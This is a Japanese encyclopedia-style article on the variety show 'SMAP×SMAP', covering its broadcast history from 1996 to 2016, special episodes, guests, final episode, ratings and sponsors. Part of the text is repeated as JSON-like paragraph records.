テレビ黎明期から続いていたお笑いと音楽コーナーが混在している伝統的な音楽バラエティ番組は、本番組終了の2016年以降は民放のゴールデンタイムやプライムタイムではレギュラー放送されていない。また、コント番組もしばらく制作されていなかったが、2021年より同じフジテレビで若手芸人、俳優、女優などが主体の『新しいカギ』が特番を経てレギュラー放送されている。
1996年4月15日 22:30 - 23:24に、番組の初回が放送され、視聴率は22.4%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録した。
1996年5月27日まではオープニングにタイトルCGが存在した。第1回から同年5月20日まではその前にスタジオ前室の椅子に座っているメンバーが何かしら言い争いをした後、ラストに草彅が絶叫アトラクションに乗らされたり、前室の壁を突き破ってバンジーや飛び込み台で落とされ、悲鳴をあげながら「スマスマ〜」と叫んでOPに入る(この部分は別撮り)という流れがあった。タイトルCGは森の脱退を機に廃止され、その後2002年10月まではロート製薬のオープニングキャッチに番組タイトル(スペシャル・特別編の場合はそのタイトル)が入っていた事からそれがタイトルCGの代わりとしていた。2002年11月4日からは提供クレジットのみの表示となったためタイトルCGが復活していたが2004年に廃止された。なお、森在籍時のタイトルCGは最終回のオープニングとエンディングで再び放送されている。
同年7月22日、河田町のフジテレビ本社(当時)第6スタジオから「スマスマ夏休みスペシャル!生放送」と題して21:45(15分前倒しでスタート)から初の生放送スペシャルが行われた。中村玉緒をゲストに迎えて「生ビストロ」、「古畑拓三郎珍プレー祭り」(NG集)、「涙のSMAP」の3本立てで放送し、終盤の「S-Live」では『青いイナズマ』をCG効果を使いながら生放送で披露した。
1997年10月13日には『SMAP×SMAP '97 今夜は大阪から生スペシャル』と題して、同年10月1日に大阪府の西天満から扇町へ移転したばかりの、制作局である関西テレビの本社スタジオから、引越し記念の生放送を行った。この回のゲストは上沼恵美子(当時夫・上沼真平が同局に勤めていた)と赤井英和で、当時関西テレビのアナウンサーとして全国規模の知名度を得ていた桑原征平(上沼と同じく1969年に入社)が、「涙のSMAP」の進行を特別に担当した。この回でSMAP全メンバーにより六角形のガラス に描かれた巨大サインが社屋正面玄関に飾られた。2016年末の放送終了・グループ解散後は社屋内のアトリウムに移して2022年現在も引き続き展示されている。2022年現在はこれに加えて六角形ガラスに関する説明のパネルとメンバー全員から番組スタッフに送られた「BISTRO SMAP」のコーナーロゴが入ったお椀とフォーク・スプーンの食器セットも展示されている。
1997年12月31日から1998年1月1日まで、19:00 - 20:00と23:45 - 翌0:45の2部構成で番組初の年越しスペシャルが生放送された。なお、番組が大晦日に放送されたのも初である。この日は『第48回NHK紅白歌合戦』(NHK)の白組司会を中居が務めたり、SMAPも出場していることもあり、裏被りを避けるために同番組の放送時間である20:00 - 23:45は他番組を放送。2部の放送開始時は中居以外の4人が登場し、中居は番組中にNHKから移動しながら、番組終盤のライブでギリギリ間に合って出演する形となった。
2000年12月25日には、21:00 - 23:18に『SMAP×SMAP 20世紀のスマスマ初回からドーンと見せます ベスト30スペシャル』と題して、番組初のクリスマスにスペシャルが放送された。
2002年1月14日生放送分では、不祥事で謹慎していた稲垣吾郎が番組に復帰。視聴率は34.2%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録し、番組の歴代平均視聴率で最高の回となっている。
2002年9月9日放送分の1コーナー「今日は何の日?」やエンディングトークにおいて、メンバーが「『スマスマ』のオンエアー日とデビューの日が重なるのは初めて」と発言しているが、実際には開始間もない1996年9月9日にも番組が放送されている。
2005年12月26日と2010年1月4日には、19:00 - 23:24に、当時の過去最長となる264分(4時間24分)の拡大版が、それぞれ年末スペシャルと新春スペシャルで放送された。2005年12月26日には『SMAP×SMAP'05 歴史的瞬間全部見せます!! 史上最強の4時間半スペシャル!!!』と題して、当番組ではこれまで放送される事がなかった19時台・20時台に初めて放送され、さらに、2010年1月4日には『SMAP×SMAP お正月に生SMAP! 史上最長4時間半スペシャル』と題して、当番組史上初となる264分に渡る生放送を行った。また、香取慎吾はインフルエンザのため欠席した が、エンディングに電話で生出演した。なお264分という放送時間は、後述する最終回に抜かれるまで歴代最長だった。
2007年1月1日には、21:00 - 23:30に『SMAP×SMAP 超豪華! 元旦スペシャル!!』と題して、番組初の元日放送となり、21時からのスペシャル版で放送した。なお、元日に放送があったのはこの年のみである。
収録はそれまで世田谷区砧にある東京メディアシティ・レモンスタジオで行われていたが、2007年のフジテレビ湾岸スタジオ落成を機に、同スタジオ並びにフジテレビ本社スタジオ(FCGビル)へ移行した。
2008年4月14日・4月21日は、2週連続で2時間の拡大版(21:00 - 22:48)が放送された。これは、木村拓哉主演のドラマ『CHANGE』が同年5月12日に放送開始であったことに伴うものである。また、番組の再放送は行われていなかったが、2010年4月17日にフジテレビと関西テレビで、スペシャルの事前番組として一部の回が再放送された。
2011年3月11日の東日本大震災の発生以降の放送では、毎回エンディングでメンバーによる義援金や支援金の呼びかけを最終回まで行った。このメッセージは同じ映像の使い回しではなく、番組収録の度に新規に収録している。また、2016年4月14日の熊本地震の発生後、5月30日までの放送では「フジネットワーク サザエさん募金」、6月6日以降は「熊本地震災害義援金」の呼びかけも合わせて行われている。
2013年9月30日には、当番組と『おじゃマップ』をベースとしたSMAPが司会の特別番組『SMAP GO!GO!』が放送された。
2014年7月26日・7月27日には、SMAPが総合司会を務める『武器はテレビ。 SMAP×FNS 27時間テレビ』が放送された。
2015年4月6日より、SMAPのジャニーズ事務所の後輩であるKis-My-Ft2がメイン出演のバラエティ番組『キスマイBUSAIKU!?』が、毎週月曜23:00 - 23:30(COOL TV枠)へ移動。これにより、当番組から直後に放送される『キスマイBUSAIKU!?』まで、ジャニーズ事務所所属グループの冠番組が連続で放送されることになった。
2016年1月に起きた「SMAP解散騒動」以降、一部週刊誌や『東京スポーツ』などのスポーツ紙などで打ち切り説が度々掲載されていたが、関西テレビの福井澄郎社長や、フジテレビ及び同局亀山千広社長はそれぞれ打ち切りを公式に否定した。
同年1月18日の放送では、放送予定の内容の一部を急遽生放送に差し替え、メンバー全員が今回の騒動について謝罪した上で、グループの存続を発表した。なおこの日放送分の視聴率は、フジテレビでは31.2%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)、関西テレビでは29.7%(ビデオリサーチ、関西地区・世帯・リアルタイム)をそれぞれ記録した。
この番組は音楽番組以外でメンバー全員が揃って出演する数少ない場であったが、この騒動以降BISTRO SMAPを例外として全員が出演するコーナーが消滅、過去の映像を使用した特別編が増えて通常放送が大幅に減少した上、コーナーの観覧も廃止され収録後のVTRに音声をかぶせるようになる。また、それ以前は改編期や年末年始、お盆やGW等含めても番組が休止されることはほとんどなかったが、この騒動以降は、改編期ではない時期であっても月に数回放送が休止されることが多くなった。
同年8月14日、レギュラー出演するSMAPが同年12月31日をもって解散することが事務所より発表された。これを受けフジテレビは、当番組も2016年12月末をもって放送を終了することを同年8月17日に正式に発表した。
また、SMAPの解散発表後と当番組の年内の放送終了の発表後には、SMAPのファンを中心に番組ホームページに「どんな形でもいいから番組を続けてほしい」などといった、当番組の存続を望むコメントが多数寄せられた。
解散発表後最初の放送となった同年8月15日の放送の番組冒頭には全画面白バックに黒文字で「昨日、SMAPの活動についての発表がなされましたが、『SMAP×SMAP』の今後の対応につきましては近日中に視聴者の皆様に報告させていただきたいと思います。本日は予定通りの放送内容をお送り致します。」のテロップが25秒間にわたって表示された。そして、フジテレビ・関西テレビは17日、同番組について連名でマスコミ各社にFAXを送り、「解散に関する発表を受け、継続不可能と判断」として年内での終了を正式決定したと発表した。
翌週8月22日の放送では、番組のオープニングで第1回放送の「BISTRO SMAP」のVTRでスタートし、「世界に一つだけの花」を流しながら過去の名場面が流れ、「1996年にスタートしたSMAP×SMAPは放送20年を越えることが出来ました。そして、今年の年末をもってファイナルを迎えることになります。最終回まで全力で番組を作ってまいりますので応援よろしくお願いいたします。」というメッセージがテロップで表示された。
同年12月19日の放送では、22:00 - 23:24に1時間半の拡大版で、当番組のメインコーナー「BISTRO SMAP」の最終回(最後のゲストはSMAPと親交が深いタモリだった)が放送された。
同年12月26日の放送では、18:30 - 23:18に5時間の拡大版で、『SMAP×SMAP 最終回』と題して、番組の最終回が放送された。
※メンバーカラーは「BISTRO SMAP」やテロップなどで用いられている。※5人が揃って出演するコーナーは、原則中居の司会で進行する。
第1回放送のゲストは「BISTRO SMAP」に出演した当時のベテラン女優・大原麗子(2009年逝去)。1996年4月から2016年12月までの20年9ヶ月の放送期間で当番組には、看板コーナー「BISTRO SMAP」や音楽コーナー「S-Live」を中心に、大物芸能人から若手・新人芸能人まで、国内から海外まで、幅広いジャンルの錚々たる芸能人や有名人が多数ゲスト出演している(下記参照)。
また、音楽コーナー「S-Live」でSMAPが新曲を披露する際、楽曲提供の新曲の作詞者・作曲者がゲスト出演してコラボレーションで披露することが多く、国内のミュージシャンも多数ゲスト出演している。「世界に一つだけの花」「Love & Peace Inside?」は槇原敬之、「セロリ」は山崎まさよし、「夜空ノムコウ」はスガシカオ、「Trust」「グラマラス」は小室哲哉、「Top Of The World」「Otherside」はMIYAVI、「愛が止まるまでは」は川谷絵音(indigo la End/ゲスの極み乙女。)などとコラボレーションして披露している。SMAPが自身の楽曲以外に、ゲスト側のアーティストの楽曲でもコラボレーションで披露している。また、コラボはしていないが「Amazing Discovery」を楽曲提供した中田ヤスタカ(capsule)や「華麗なる逆襲」を楽曲提供した椎名林檎もゲスト出演している。2001年7月16日に出演した長渕剛は「BISTRO SMAP」「S-Live」の両コーナーに共にゲストで出演した。演歌歌手では北島三郎が1996年12月30日・2002年12月30日・2014年4月7日、森進一が2001年7月30日に出演した。他に、くまモンなどのゆるキャラ、HIKAKINなどのYouTuberといった多岐のジャンルにわたる有名人がゲスト出演している。また、どぶろっくやクマムシといった音楽活動をしているお笑いタレントもゲスト出演して「S-Live」でコラボレーションしている。さらに、芸能人に留まらず、政治家も多数ゲスト出演しており、石破茂や内閣総理大臣に就任前の小泉純一郎、安倍晋三、麻生太郎、ロシアの元大統領のミハイル・ゴルバチョフ、東京都知事の小池百合子がゲスト出演した。石破茂は『SMAP×SMAP』最終回に際し、フジテレビ『バイキング』コメンテーターとして出演時にコメントを寄せている。また、テレビ局の垣根を超えて、テレビ朝日のアニメ『ドラえもん』のキャラクターもゲスト出演している。
年に1回放送される。1年間のNGや未公開映像を放送して、「スマスマを愛しているメンバー」「スマスマを愛していないメンバー」を決める。大体「スマスマを愛していないメンバー」に決められたメンバーは、スマスマの生放送(特番)の告知を『めざましテレビ』などでやらされる(2005年度からは中居を含めたメンバー全員が罰ゲームを考え、「BEST LOVE AWARD」に選ばれたメンバーの考えた罰ゲームを「WORST LOVE AWARD」に選ばれたメンバーが実行するといった態勢をとっている)上記の方法によって生まれたコントが、中居正広が主演・香取慎吾が監督のテロテアリーナである。2001年、2006年、2009年以降は放送されていない。
1998年8月3日から、不定期で生放送スペシャル内で実施。
番組冒頭で罰ゲームが発表されてから、数個のゲーム(「BISTRO SMAP」含む)を行い、合計得点の下位2名(ペケ1・ペケ2)が、後日に罰ゲームのロケへ行く羽目に(同点の場合は、クラッカー等によるくじ引きで罰ゲーム対象者を決定)。
罰ゲームは、富士山登山に始まり、フルマラソン、トライアスロン、アメリカのTV局で前説等多種多様。
2001年8月13日放送の「夏祭りグランプリ」では、中居・稲垣が罰ゲーム(コンサート終了後にスタッフに手作りおにぎりを)となったものの、直後の稲垣謹慎によって罰ゲームとしては行われず、感謝の意を込めて全員でおにぎりを作るという形で決着。
2003年1月13日放送の「S-1 GRAND PRIX」では、「BISTRO SMAP」に時間を取りすぎて進行がグダグダになり、ペケ2が2人になりクラッカーで決着するがスタッフが渡したクラッカーが二つとも鳴らないクラッカーを用意してしまったことなどトラブルが多々あり視聴者から抗議が殺到。翌週(1月20日)は急遽、放送予定だったレギュラー放送を後回しにし、時間の都合で行えなかったコーナーをやって完全決着を着ける延長戦(生放送)を実施した。(この放送分による事前予告は同年1月18日放送の『スマ夫』や当日放送の『めざましテレビ』、また番宣スポットでも告知された。)
2005年以前はペケ2が2人以上いた場合は「クラッカー(鳴ったものを引いたメンバーが罰ゲーム決定)」となっていたが、2008年の回ではペケ2が2人以上いた場合は「クラッカー」から「○と×の札決め(×なら罰ゲーム決定)」で決定する形となった。しかし2人のスケジュールの関係上、実施したのは放送から1年半以上であった。
通常の「BISTRO SMAP」・「S-Live」・コントコーナーまたはゲームコーナーの3つを一切やらず、ドキュメンタリーや通常回では滅多にやらないSMAPだけによる特別企画・スペシャルゲスト出演の特別企画など、全く違った内容の構成で放送される。出演者は基本的にSMAPの中の一人だけで、様々なゲストを呼ぶ場合もある。かつては年4回程度放送されていたが、近年は減少傾向にあり(当初は、生放送の次の週は特別編というのが通例であった。しかしその生放送も減少傾向である)、2002年以降年1回 - 2回程度になっていたが、2016年はSMAP解散騒動の影響か、「SMAP×SMAP PRESENTS」と題した一人だけで出演する特別企画が増えた。また、近々上映される映画の宣伝を兼ねた企画を行う事もある。
なお、当初は関西テレビの単独制作であった(フジテレビは特別編の制作に関与しなかった)。しかし近年は通常版同様、関西テレビとフジテレビの共同制作となることが多い。
※両A面シングル(42・44・49)については、それぞれ1曲目のみの披露。
年末年始時期や報道特別番組が急遽行われた場合(2008年9月1日に福田康夫が当時の内閣総理大臣辞任に伴う報道特番による放送時間繰り下げ、2011年3月14日に東日本大震災に伴う報道特番による放送休止)を除いて特別編を含め番組が休止になることはほとんどなく、春・秋の番組改編期の場合では『ロングバケーション』・『ラブジェネレーション』などの木村が主演し高視聴率を得た月9ドラマの特別編で休止になったことがあった程度で、関西テレビ発信による月曜日放送の特別番組としては、1999年3月29日に放送された武田鉄矢がメインを務めた『芸能人が営む世話好き宿』と題したスペシャル番組を最後に放送されてこなかった。しかし、2014年8月4日には実に184ヶ月ぶりとなる関西テレビ自社制作による特番『世界一周ワンジャンル・ツアー』が放送された。なお、これは27時間テレビによる措置である。なお、翌週の11日放送の『ファミスマ』(中居出演)と2015年3月23日放送の『中居正広のISORO』(中居・稲垣出演)はフジテレビの単独制作だった(スポンサーセールスは関西テレビが担当)。しかし、2016年にSMAP解散騒動が発生してからは「SMAP×SMAP PRESENTS」と題した企画で個人のみでの出演や、2015年にスタートしたトークバラエティ番組『中居正広のこうして私はやっちゃいました! 神センス☆塩センス!』、前年まで水曜日に放送されていた『FNSうたの夏まつり』や同年に新たに設けた『FNSうたの春まつり』等の特別番組が放送される事が増え、年末年始時期や報道特別番組等がなくても月に数回休止される事も多くなった。
なお『笑っていいとも!秋の祭典スペシャル』が土曜日に放送された2006年秋のこの時期は、『ドラマレジェンドスペシャル』として『古畑任三郎 vs SMAP』と題した、タイトル通りSMAPが出演しているスペシャルドラマの再放送(本放送は1999年1月3日)が行われ、その後も2008年に『ドラマレジェンド』として『世にも奇妙な物語 SMAPの特別編』の再放送(本放送は2001年1月1日)が行われた。
2016年12月26日の18:30 - 23:18に番組史上最長となる288分の拡大版として放送され、20年9か月(249か月)・全920回の歴史に幕が下ろされた。
最終回の内容は、初回放送から現在に至るまでの番組の歴史を総集編として一挙放送し、SMAPのグループ活動28年間の歴史も紹介された。総集編では、「SMAP×SMAP MEMORIES FILE Final」と題して、主に1996年から2016年の各年度毎に「BISTRO SMAP」や「S-Live」を中心に各ゲストの出演シーンやコント・ゲームコーナーなどを各年のSMAPの曲をBGMにダイジェストで振り返った。基本はダイジェストだが、下記の10個の特別編は長めに放送された。
また、この最終回SPでメンバー5人の生出演はなかった ものの、一部で西山喜久恵(フジテレビアナウンサー)の進行による生放送パートがあり、視聴者からのFAXを募集、番組内で随時紹介した。
メンバーからのラストメッセージは直接口頭では無かったが、22:50頃のCM明けに 『スマスマ20年、そしてグループ活動28年、みなさまの気持ちに、深く感謝いたします。ありがとうございました。SMAP』と画面にメッセージが表示された。メッセージが表示された直後から「SMAP 28年の奇跡」と題して、グループ結成から今に至るまでのSMAPの28年間の歴史が、「Triangle」「BEST FRIEND」のオルゴールバージョンに乗せてスライドショーされた。
番組終盤では、「SMAP 28年の奇跡」のラスト・『FNS27時間テレビ』での集合写真が映された後、色鮮やかな花が敷き詰められた立体番組ロゴをバックに、唯一の新たに収録した場面である5人揃っての「SMAPラストステージ」となった「世界に一つだけの花」の歌唱が放送された。歌唱が終わるとメンバー全員で約90秒間深々とお辞儀をし、「世界に一つだけの花」のオルゴールバージョンと共に白い幕が下され、幕が閉まると番組のロゴとメンバーカラーである五色の花が飾られたマグカップが映された。そのあとスタッフからの鳴り止まぬ拍手とお辞儀をした後のメンバーの姿が映し出され、そのままスタッフロールへと移った。
エンディングのスタッフロールではデビュー曲「Can't Stop!! -LOVING-」をBGMに、メンバーがスタッフ1人ずつと記念撮影をしている映像が放映された。その後、生放送パートのスタジオ内に貼られた視聴者からのFAXをバックに画面下部に「たくさんの「ありがとう」をありがとうございました。」というテロップを表示した。そして、通常通り東日本大震災・熊本地震災害義援金の告知を放送した後、最後は番組開始当初のオープニングタイトルCGを放送して番組は終了し、約20年9か月の放送の歴史に終止符を打った。
なおクロスネット局の関係上同時ネットされなかった局のうち、テレビ大分では翌日未明1:00 - 早朝5:48(当日深夜)に時差ネット(330分遅れ)で放送された。テレビ宮崎では、SMAPの解散日である31日の12:00 - 16:50に放送された。さらに番組末期まで系列外遅れネットしていた日本テレビ系列局青森放送でも31日未明・早朝0:59 - 5:47(30日深夜)に放送された。
番組の放送中や放送後には、SMAPと縁が深い芸能人や番組にゲスト出演したことがある芸能人などがTwitterやブログなどでSMAPの解散と番組の終了を惜しむ声が挙がっており、芸能界からの悲痛の声も多かった。
番組後半には、かつてSMAPがCMに出演していたソフトバンクによる1分間のスペシャルCMが放映された。内容は、「オリジナル スマイル」をBGMに、過去にSMAPが出演していたCM映像の本編やメイキング映像をダイジェスト形式にて編集し、途中には「あんなことや」「こんなこと」「いろいろしていただきました」「今まで」「本当に」「ありがとう。」とメッセージが挿入され、最後にソフトバンクのCMキャラクターであるお父さん(白戸次郎)(カイくん、声・北大路欣也)がしんみりとした表情で「さよならじゃ、ないよな?」と語りかけてCMを締めた(その際、SMAPが出演した際のキャッチコピーである『SMAP→Softbank』のSMAPとSoftbankを逆転させた『Softbank→SMAP』のテロップも表示された)。同社の広報室によると、契約は昨年で終了していることから、今回は所属事務所、テレビ局と一日限定の契約を結び、放送が実現した。このため今後、今回のCMが再放送ならびに公式サイト等での公開はされることはないという。
なお、終了から7年後の2023年にはお父さんの言葉通り、中居が同社のCMに復帰(「チチンペイペイ」シリーズ、劇団ひとりとの共演)。このCMではお父さんが「待ってました!」と特別CMを思わせる台詞を発している。
第1部(18:30 - 19:00)は14.1%、第2部(19:00 - 22:00)は17.4%、第3部(22:00 - 23:18)は23.1%で有終の美を飾った(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。また、瞬間最高視聴率は23:07のSMAPがメンバー5人でラストの歌唱となった「世界に一つだけの花」を歌い終えて、5人がお辞儀をし中居が背を向けて両手で何度も涙を拭う姿が映し出されたシーンの27.4%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)だった。ちなみに地方でも軒並み高視聴率を記録し、関西地区で第1部が16.9%、第2部が20.6%、第3部は24.1%を記録し、瞬間最高視聴率は関東と同じ時間に27.5%を記録している。
当番組最終回放送後の2017年1月7日に放送された『めちゃイケてるッ! 勝ち負けだけじゃねえ 新春大仰天スペシャル』に中居が出演し、同番組ゲストのゆずとのトークの際、めちゃイケメンバーの矢部浩之(ナインティナイン)から「スマスマの最終回とか、感動的やったもん」と労われると、中居は「あの日、今まで一番繊細に何回も(音程を)当てにいったんだけど、ひとつも当たんなかった」と冗談交じりに語った。なお『めちゃイケSP』の収録は最終回放送からわずか2日後の12月28日に行われた。
2020年9月19日、番組のコントレギュラーであった俳優の斎藤洋介が死去。香取・草彅・稲垣から追悼のコメントが寄せられた。
視聴率は断りのない限り、ビデオリサーチ調べ、関東地区・世帯・リアルタイム。
初回(1996年4月15日)から最終回(2016年12月26日)までの全920回において、歴代トップは34.2%(2002年1月14日)、歴代ワーストは6.4%(2016年11月14日)、全回の平均視聴率は18.2%となった。
以下、歴代視聴率TOP20を記載。放送開始以来、1990年代・2000年代・2010年代のそれぞれの各年代で、高視聴率を獲得している。放送日の太字はその年のフジテレビの最高視聴率。
番組の全盛期は1996年 - 2001年頃であり、同時間帯でトップになることはもちろんのこと、25%以上の高視聴率を記録することも珍しくなかった。年間平均視聴率は23%に達し、一種の社会現象と化していた。
当時の裏番組であった読売テレビ制作の連続ドラマは本番組開始後視聴率が一桁を記録する作品が増え、中には放送回数を短縮して打ち切りに追い込まれた作品も存在する。当時のドラマスタッフも「何をやってもスマスマにはかなわないと制作陣も半ばあきらめていた」と証言するなど、番組の影響力の大きさをうかがえる。その後、ドラマ枠は2004年3月に廃止となった。
一方、2008年以降は『しゃべくり007』(日本テレビ制作)と競合するようになり、2010年代以降は視聴率で『しゃべくり』に逆転され、解散騒動後は一桁に転落する回が多くなった。
前述の通り、当番組は関西テレビとフジテレビの共同制作だが、スポンサーに対する営業は関西テレビが全面的に担当する。関西テレビでは立ち上げにあたり、当番組以前の水曜→月曜→火曜22時台バラエティ枠(『三枝の愛ラブクリニック→三枝の愛ラブ!爆笑クリニック』→『ひらけ!GOMA王国』)における営業スタンスを原則引き継いだため、前後半でスポンサーが交代する形を取っている。
放送開始から2010年3月までは、前半がロート製薬の一社提供、後半はP&G筆頭の複数社提供というスタイルだった。これは、ロートが加盟している日本製薬工業協会の自主規制により、医家向け医薬品・大衆薬メーカーの一社提供が30分枠までとされていたためである。同年4月でロート製薬が同時間帯の筆頭スポンサーを降板し、同社を含む複数社提供となったが、前後半ですべて途中で交代するというスタイルは放送開始以来変わっていない。2016年9月をもってロート製薬がスポンサーを降板。なお、スポンサー枠は、2016年10月から始まった火9ドラマのカウキャッチャーに移行した。
スポンサークレジットの表示は関西テレビが担当し、提供読みについては通常は関西テレビ側が「ご覧のスポンサーの提供でお送りします(しました)」、フジテレビ側は「この番組は(P&Gと)ご覧のスポンサーの提供でお送りします(しました)」である。ただし、2007年と2010年の正月スペシャルや、2016年12月26日放送の最終回スペシャルのように番組配信・スポンサークレジットの表示・提供読みもフジテレビが担当するという例外もある。
なお、前半がロート一社提供だった時代には、番組の冒頭で同社のオープニングキャッチも放送されていた。ただし福井テレビでは最初の半年間は遅れネットでかつローカルセールスだったため、また福島テレビは立ち上げから同時ネットだったが最初の1年間のみ番販ネット扱いで放送され、共にロートのオープニングキャッチを流さなかったことがある。この時、福島テレビ放送分のスポンサーに就いたのは郡山市に本社を置く冠婚葬祭業はまつグループで、はまつアワーのサブタイトルがあった。送り出しも事前に関西テレビ・フジテレビから番組素材を受け取り自社で行い、他局でロート製薬から他社にスポンサーが切り替わる部分の提供ベースに、はまつグループのロゴを表示していた。これら2局でロート製薬のオープニングキャッチをどう差し替えていたかは不明。 | [
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"text": "『SMAP×SMAP』(スマップスマップ、通称:スマスマ)は、関西テレビ(カンテレ)とフジテレビの共同制作で、1996年(平成8年)4月15日から2016年(平成28年)12月26日までの20年と9か月にわたってフジテレビ系列で毎週月曜22:00 - 22:54(JST)に放送されていたバラエティ番組である。男性アイドルグループ・SMAPの冠番組であった。",
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"text": "番組タイトルの『SMAP×SMAP』は、アメリカ映画『ニューヨーク・ニューヨーク』から由来し、ジャニーズ事務所社長のジャニー喜多川が同映画から命名した。",
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"text": "当番組は1996年3月25日までテレビ東京系列で放送されていた『愛ラブSMAP!』の事実上の後継番組である。番組前半は料理コーナー「BISTRO SMAP」、番組後半はコントや音楽コーナー「S-Live」などから構成されていた。",
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"text": "年数回、メンバーの特別企画や特別編(関西テレビ制作)、生放送スペシャルなどが放送されていた。番組初期は、生放送を新春・春・夏と3回程度行ってきたが、2000年代後半頃からは新春のみ行われていた。また、年末では1997年12月31日に放送された年越しのスペシャルと、2000年12月の2週に渡っての『20世紀のスマスマベスト30』、2005年(平成17年)12月26日に『もう一度見たい名場面リクエストスペシャル』が放送された。2010年代に入ってからは月に1回 - 3回程度、15分拡大版が放送された。2010年頃までは祝日や振替休日にあたる日に主に行っていたが、2011年頃からは祝日よりも平日のほうが視聴率が良かったこともあり、平日でも拡大版が増えた。そのため、2012年以降は祝日また振替休日は通常回になることが多かった。改編期には、21:00 - 23:18(23:24)の2時間半の拡大版が放送される傾向が多かった。",
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"text": "本番組は、関西テレビとフジテレビの共同制作である。関西テレビ側は、スポンサーセールス・全国系列局への番組送出・一部スタッフの支援・CM出し・提供クレジットの表示・アナウンス読みを担当する。一方、フジテレビ側は企画・収録・本編送りを担当する。生放送のスペシャルに関しては河田町→台場のフジテレビの本社スタジオからの映像を、西天満→扇町の関西テレビ本社マスターを一度経由してからネット回線に送出していた(そのため、番組中のテロップはフジテレビの副調整室から、提供クレジットは関西テレビのマスターからそれぞれ出していた)。番組が終了した現在も『R-1グランプリ』決勝戦において同様にこの手法を行っている。ただし、スペシャル回の一部、その年の年内最後、最初の放送 、最終回など一部放送回はフジテレビの本社マスターから直接番組送出を行っていた。",
"title": "概要"
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"text": "このような体制となった経緯について、番組開始当時のゼネラルプロデューサー(制作)の佐藤義和によれば、以前より『夢がMORI MORI』や『SMAPのがんばりましょう』を制作してきたフジテレビが、1995年10月よりSMAPをメインとするバラエティ番組を開始させる計画だったところ、当時の自社制作枠に空きが無いため実現しなかったことに起因する。これに対し、当時のフジテレビ編成局長重村一の考案で、関西テレビ制作の火曜22時バラエティ番組枠を月曜22時枠に移動させた(同時に枠交換という形で、それまでの関西テレビ制作月曜22時ドラマ枠は、火曜22時枠へ移動。その後関西テレビ制作の連続ドラマ枠は2021年10月より再び本番組が放送されていた月曜22時に移動した。)。その上で、関西テレビの制作枠にフジテレビが下請けになるスキームをとることで新番組の放送枠を確保した。本番組の発局が関西テレビなのはこのためで、制作クレジットも「関西テレビ、フジテレビ」→「8 カンテレ、フジテレビ」となっている(一貫して目玉マークはなし)。",
"title": "概要"
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"text": "2004年(平成16年)3月には、番組内のCM放送時にサブリミナル効果を引き起こす映像があったと『週刊現代』が報じた。これは関西テレビが番組の送出を行っており、フジテレビは関西テレビからの送出を受ける立場であるため、放送されるCMも関西テレビのものが基準となる。しかし、地域によっては同じスポンサーでもCMを変えて放送することがあるため、その切り替え時に技術上発生したものである。この記事が掲載されたことにより、同月15日、関西テレビは緊急会見を行った。当時の取締役千草宗一郎は「事実に反する記載で誹謗中傷にあたる」と反論。また、同誌編集長あてに、謝罪と回答を求める文書を内容証明郵便で送付したことを明らかにした。『週刊現代』からの事前の質問に対し関西テレビも同様に回答したというが、『週刊現代』は「サブリミナル疑惑」と誤った情報を掲載した。",
"title": "概要"
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"text": "2016年4月には、番組放送開始20周年を迎えたが、先述の通り2016年12月をもって終了となり、放送期間は約20年9ヶ月となった。これは、フジテレビ系列のゴールデンタイム・プライムタイムにレギュラー放送されているバラエティ番組では、『とんねるずのみなさんのおかげでした』(1988年10月 - 2018年3月)、『奇跡体験!アンビリバボー』(1997年10月 - )、『めちゃイケてるッ!』(1996年10月 - 2018年3月)に続く放送期間であった。",
"title": "概要"
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"tag": "p",
"text": "テレビ黎明期から続いていたお笑いと音楽コーナーが混在している伝統的な音楽バラエティ番組は、本番組終了の2016年以降は民放のゴールデンタイムやプライムタイムではレギュラー放送されていない。また、コント番組もしばらく制作されていなかったが、2021年より同じフジテレビで若手芸人、俳優、女優などが主体の『新しいカギ』が特番を経てレギュラー放送されている。",
"title": "概要"
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"text": "1996年4月15日 22:30 - 23:24に、番組の初回が放送され、視聴率は22.4%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録した。",
"title": "番組の歴史"
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"text": "1996年5月27日まではオープニングにタイトルCGが存在した。第1回から同年5月20日まではその前にスタジオ前室の椅子に座っているメンバーが何かしら言い争いをした後、ラストに草彅が絶叫アトラクションに乗らされたり、前室の壁を突き破ってバンジーや飛び込み台で落とされ、悲鳴をあげながら「スマスマ〜」と叫んでOPに入る(この部分は別撮り)という流れがあった。タイトルCGは森の脱退を機に廃止され、その後2002年10月まではロート製薬のオープニングキャッチに番組タイトル(スペシャル・特別編の場合はそのタイトル)が入っていた事からそれがタイトルCGの代わりとしていた。2002年11月4日からは提供クレジットのみの表示となったためタイトルCGが復活していたが2004年に廃止された。なお、森在籍時のタイトルCGは最終回のオープニングとエンディングで再び放送されている。",
"title": "番組の歴史"
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"text": "同年7月22日、河田町のフジテレビ本社(当時)第6スタジオから「スマスマ夏休みスペシャル!生放送」と題して21:45(15分前倒しでスタート)から初の生放送スペシャルが行われた。中村玉緒をゲストに迎えて「生ビストロ」、「古畑拓三郎珍プレー祭り」(NG集)、「涙のSMAP」の3本立てで放送し、終盤の「S-Live」では『青いイナズマ』をCG効果を使いながら生放送で披露した。",
"title": "番組の歴史"
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"text": "1997年10月13日には『SMAP×SMAP '97 今夜は大阪から生スペシャル』と題して、同年10月1日に大阪府の西天満から扇町へ移転したばかりの、制作局である関西テレビの本社スタジオから、引越し記念の生放送を行った。この回のゲストは上沼恵美子(当時夫・上沼真平が同局に勤めていた)と赤井英和で、当時関西テレビのアナウンサーとして全国規模の知名度を得ていた桑原征平(上沼と同じく1969年に入社)が、「涙のSMAP」の進行を特別に担当した。この回でSMAP全メンバーにより六角形のガラス に描かれた巨大サインが社屋正面玄関に飾られた。2016年末の放送終了・グループ解散後は社屋内のアトリウムに移して2022年現在も引き続き展示されている。2022年現在はこれに加えて六角形ガラスに関する説明のパネルとメンバー全員から番組スタッフに送られた「BISTRO SMAP」のコーナーロゴが入ったお椀とフォーク・スプーンの食器セットも展示されている。",
